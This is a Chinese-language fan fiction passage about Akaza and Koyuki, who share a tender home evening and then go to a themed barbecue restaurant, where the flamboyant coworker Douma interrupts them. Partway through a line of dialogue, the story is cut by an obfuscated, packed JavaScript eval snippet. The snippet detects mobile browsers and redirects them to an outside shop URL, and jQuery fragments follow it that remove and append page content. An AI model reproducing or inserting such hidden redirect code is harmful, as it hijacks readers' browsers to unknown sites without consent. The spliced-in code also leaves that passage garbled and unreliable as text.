恋雪的肚子适时地发出了一声轻微的“咕噜”声,在安静的房间里显得格外清晰。
她不好意思地红了脸,从猗窝座令人安心的怀抱里微微抬起头,小声说:“猗窝座先生……我饿了。”
“嗯。”猗窝座应了一声,似乎早就料到。他没松开她抱着人一块起床,恋雪没穿鞋,猗窝座直接让恋雪坐在餐桌上。走向厨房。“做好了,在保温。”
他端出来的依旧是看起来朴素实则非常美味的家常菜,还有一小碗炖得软烂的汤。他现在已经习惯性地在餐桌前坐下,然后将恋雪自然地捞到自己腿上,圈在怀里,拿起勺子准备喂她。
吃饭的时候,想到猗窝座要收拾碗筷恋雪有些舍不得离开这个温暖的怀抱。
她犹豫了一下,脸颊微热,声音细若蚊呐,却带着依赖和一点点撒娇的意味:“猗窝座先生……请问等下收拾碗筷的时候……也可以……抱着我吗?如果不可以,就,就算了。”
猗窝座喂饭的动作一顿,低头看向怀里的小团子。她正仰着脸,粉色的眼眸里水光潋滟,带着羞涩和浓浓的期盼,仿佛他是她唯一的浮木。
这种全身心的依赖取悦了他。
“好乖啊,恋雪。这么黏我。”他嘴上这么说着,嘴角却几不可查地勾起了一个细微的弧度,算是默认了。
喂完饭,猗窝座果然没有放下她。他单手稳稳地托着她的臀腿,让她像只树袋熊一样侧坐在他坚实的小臂上,另一只手则利落地收拾着碗筷。恋雪为了保持平衡,双手紧紧环住他的脖颈,将小脸埋在他颈窝里,感受着他行动时肌肉的起伏和温热的体温。
在他弯腰将碗筷放入洗碗机的那一刻,恋雪看着他近在咫尺的、线条流畅的下颌和微微滚动的喉结,心里涌起一股难以抑制的甜蜜和冲动。她飞快地、如同蜻蜓点水般,在他脸颊上印下了一个轻柔的、带着羞涩的吻。
猗窝座的动作瞬间停滞,像是被按下了暂停键。他侧过头,金色的瞳孔带着一丝讶异,直直地看向她。
恋雪被他看得羞窘万分,整张脸都埋进了他颈窝里,耳根红得剔透,再也不敢抬头。
半晌,头顶传来一声低低的、带着磁性的哼笑,揽着她的手臂收得更紧了些。他没有说什么,但那份愉悦的气息,却清晰地传递了过来。
收拾完毕,两人窝在客厅的沙发上。猗窝座整个人环抱住恋雪,胸膛和恋雪的脊背紧紧贴着,谁都不愿意和另一个人分开。两人一起看着猗窝座的平板,刷着刚下的 app“小橙书”。忽然,她刷到一家被频繁推荐的网红打卡店——是一家装修得极其可爱、以梦幻森林为主题的自助烤肉馆。图片里,毛茸茸的座椅、蘑菇形状的灯饰、还有各种卡通动物造型的装饰,充满了童趣。
“猗窝座先生,你看这个……”她指着图片,眼睛亮晶晶的,“看起来好像很有趣。”
猗窝座对那种充满“幼稚”元素的地方有些排斥,但低头看到恋雪眼中毫不掩饰的新奇和向往,算了小团子高兴就好了。想到医疗机构的人确实说过,前期治疗不会对身体造成太大负担,正常社交和生活完全没问题……
“想去?”他问。
恋雪用力点头,眼神里充满了期待。
“明天去。”猗窝座看着亮晶晶的粉色眼睛只注视着他,满意得不得了。这双眼睛就该只看着他。
“真的吗?谢谢猗窝座先生!”恋雪开心地笑起来,那笑容像初绽的樱花,纯粹而明媚,晃花了猗窝座的眼。
也许是心情太过激荡,也许是终于确认了最重要之人的存在,恋雪今晚显得格外黏人。平常大多是猗窝座主动抱她、圈着她,人在他怀里怎么都有些拘谨。而且猗窝座不主动的话恋雪就会偷偷跑开。今晚她却像是变成了猗窝座的小小挂件,主动抱着他的胳膊,靠在他身边,几乎不愿分开片刻。
就连洗漱时,她也红着脸,扯着他的衣角,小声说不想自己洗漱。
猗窝座挑了挑眉,看着这个突然变得异常黏糊的小祖宗,心里虽然有点纳闷,但他向来不是会为难自己去深究复杂情绪的人。既然她想,他又不讨厌,甚至颇为享受这种被全心依赖的感觉,那就顺着她好了。
于是,浴室里出现了有些好笑又异常温馨的一幕——高大挺拔的猗窝座像座可靠的雕塑般站着,一只手圈住恋雪的腰防止人摔倒。恋雪则光着脚踩在猗窝座的脚背上,借着他的支撑力,完成了刷牙洗脸抹香香的巨大工程。
猗窝座低头,能看到她毛茸茸的发顶和因为羞涩而微微颤抖的睫毛,又爽了,今天真好啊。他现在站着都感觉有些飘,没想到小团子黏起人来是这样的。
好可爱,以后他也要这样。猗窝座忍不住想。毕竟吃过了细糠谁会想再回到以前的日子呢。
洗漱完毕,他把恋雪抱回床上,塞进被窝。两个又像磁铁一样抱在了一起。恋雪整个人陷在猗窝座的怀抱里,手抓着他睡衣的一角,直到沉沉睡去,才无意识地松开。
第二天,是个阳光明媚的好天气。出门前,恋雪难得地在衣帽间里折腾了许久,对着镜子比划着一件又一件颜色柔和、款式可爱的衣服。
最终,她选择了一条奶白色的蕾丝边连衣裙,外面套着一件浅粉色的针织开衫,脚上穿着一双小巧的玛丽珍鞋,头上还戴了一个同色系的发夹。她站在镜子前,有些紧张地整理着裙摆,脸颊因为期待和一点点打扮后的羞赧而泛着粉色。
猗窝座抱臂靠在门框上,看着眼前这个被打扮得如同精致洋娃娃般的小团子,金色的瞳孔里掠过一丝惊艳。他不太懂这些女孩子的东西,但他觉得,这样穿的恋雪,好看得让他移不开眼,比那些冷冰冰训练器械,要吸引人无数倍。
嘶,想到训练器械,他的训练区这几天的确没怎么用。该加强训练强度了。
“走了。”他走上前,很自然地牵起她的手。
那家网红烤肉馆果然人气火爆,装修得如同童话森林,吸引了不少年轻男女。当猗窝座牵着恋雪走进店里时,瞬间吸引了不少目光。
高大俊美、气质冷峻却透着野性力量的粉发男人,与娇小可爱、打扮得如同春日小蛋糕般的少女,形成的反差感极强,却又奇异的和谐。他们像是自带聚光灯,与周围梦幻可爱的环境既冲突又融合,引得不少人低声议论和偷偷拍照。
“真的好搭啊……”
“颜值暴击!是模特吗?”
“男生看起来好酷,女生好可爱!”
猗窝座对周围的视线视若无睹,他找了个相对安静的卡座,让恋雪坐在里面,自己在外侧。恋雪拿着桌子上点单的平板问猗窝座先生要吃什么呢~猗窝座不挑,让她点自己喜欢的。
上菜真的很快,恋雪第一次来这种地方难得有些活泼,拍几张照片的功夫很多菜品都传过来了。
就在猗窝座专注地在烤盘上为恋雪烤着肉,细心地将烤好的、吹得温度适宜的肉片夹到她碗里时,一个略显轻浮又带着独特韵律的声音响了起来:
“哎呀呀~这不是猗窝座阁下吗?真是难得的偶遇呢!”
恋雪抬头,看到一个穿着时尚、头发如同彩虹般渐变、手持一把金属折扇,脸上挂着过分灿烂笑容的英俊男人走了过来。他的眼睛是七彩的,看起来很奇特,却莫名给人一种空洞感。
烤肉店传来一阵此起彼伏的小声尖叫。磨磨头的脸还是太权威了。
来人正是童磨,猗窝座非常讨厌的同事之一。
童磨笑着说:“我可是看到猗窝座阁下的跑车专门过来的~猗窝座阁下不想念我吗~”
猗窝座的脸色几乎是在瞬间沉了下来,周身的气压骤降,连烤盘上的肉都发出了“滋滋”的抗议声。他连头都没抬,冷冷地吐出一个字:“滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775192|190277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
童磨仿佛没听到他的驱逐令,目光好奇地落在了正小口吃着猗窝座烤的肉、显得有些不知所措的恋雪身上。
“这位可爱的小姐是?”童磨的笑容更加灿烂,语气夸张地赞美道,“真是如同初雪般纯净可爱的女孩子呢!难怪能让一向对女性敬而远之的猗窝座阁下陪伴在身边。”
他话音刚落,猗窝座手中的夹子“啪”地一声拍在烤盘边缘,猛地起身,速度快得带起一阵风,一拳就朝着童磨那张笑脸上挥了过去!
童磨似乎早有预料,轻巧地后撤一步,用金属扇子格挡了一下,但还是被那巨大的力道震得后退了两步,撞翻了一把椅子。他脸上的笑容丝毫未变,甚至还带着点惊喜:“哇~猗窝座阁下还是这么有活力呢!我好欣慰~这段时间猗窝座先生没什么动静我要担心死啦~”
猗窝座眼神冰冷,想着和恋雪是来吃饭的,童磨这人越搭理越起劲。
他深吸一口气,强行压下火气,重新坐了下来,继续给恋雪烤肉,仿佛童磨只是个无关紧要的噪音源。
童磨也不生气,自顾自地扶起椅子,又凑了过来,开始对着恋雪喋喋不休:
“恋雪小姐是吗?真是个好听的名字呢~您可能不知道,猗窝座阁下以前可是我们那里出了名的‘女性绝缘体’呢,对任何女性都不假辞色,我们都以为他这辈子只会和他的沙袋过了呢……”
“他能遇到您,真是太好了,看来猗窝座阁下也终于开窍了,懂得欣赏美好的事物了……”
“您看,他给您烤肉的样子多专注啊,我认识他这么久,还是第一次见他做这种事呢……”
童磨说的全是“好话”和“实话”,语气真诚得近乎浮夸。猗窝座听着,虽然眉头依旧皱着,但确实没再动手,只是周身散发的“生人勿近”的气场更强烈了。他专注地翻动着烤盘上的食物,将烤得恰到好处的部分优先夹给恋雪,细心地将肥肉剔除,将辣椒避开。
恋雪虽然出于礼貌,偶尔会回应童磨一两句“谢谢”、“是的”,但她的眼神,却自始至终都像是被磁石吸引一样,黏在猗窝座身上。
她看着他专注烤肉时微蹙的眉头,看着他骨节分明的大手灵活地操作着夹子,看着他因为热气而微微汗湿的额角……她觉得这样的猗窝座先生,比平时更加迷人。她的脸颊不由自主地泛着红晕,心里像是揣了一只小鹿,砰砰直跳。
她知道这样很不对,无论是一直盯着猗窝座先生还是敷衍正在说话的童磨,她知道这样的自己很没礼貌,但,但她控制不住自己的目光。
两人之间流淌着一种无形却密不可分的亲昵氛围,猗窝座的细心照顾,恋雪的全然信赖与痴缠目光,构成了一幅旁人无法介入的甜蜜景象。
而在一旁说得口干舌燥的童磨,反而像是个自说自话、努力活跃气氛却无人真正理睬的小丑。他脸上依旧挂着无懈可击的笑容,说着祝福的话语:
“真是般配呢~祝猗窝座阁下和恋雪小姐永远幸福快乐哦!”
然而,在他那双七彩琉璃般美丽的眼眸深处,却掠过一丝极淡的、连他自己都无法理解和定义的……不爽。
他天生情感缺失,无法真正体会喜怒哀乐,此刻胸腔里那股微妙的滞涩感,对他而言陌生而突兀。他不知道自己在不满意什么,是因为猗窝座找到了“乐趣”?还是因为眼前这一幕他无法理解的亲密?
最终,童磨自觉无趣,又说了几句无关痛痒的话,便摇着他的扇子,如同他来时一般突兀地离开了。
干扰消失,烤肉馆里仿佛又只剩下他们两人。猗窝座看着身边小口吃肉、脸颊红扑扑的恋雪,伸手用指腹擦掉她嘴角不小心沾到的一点酱汁,语气有些暗爽:“看够了?”
恋雪的脸更红了,低下头,嘴角却忍不住甜蜜地弯起。
嗯,看不够。永远都看不够。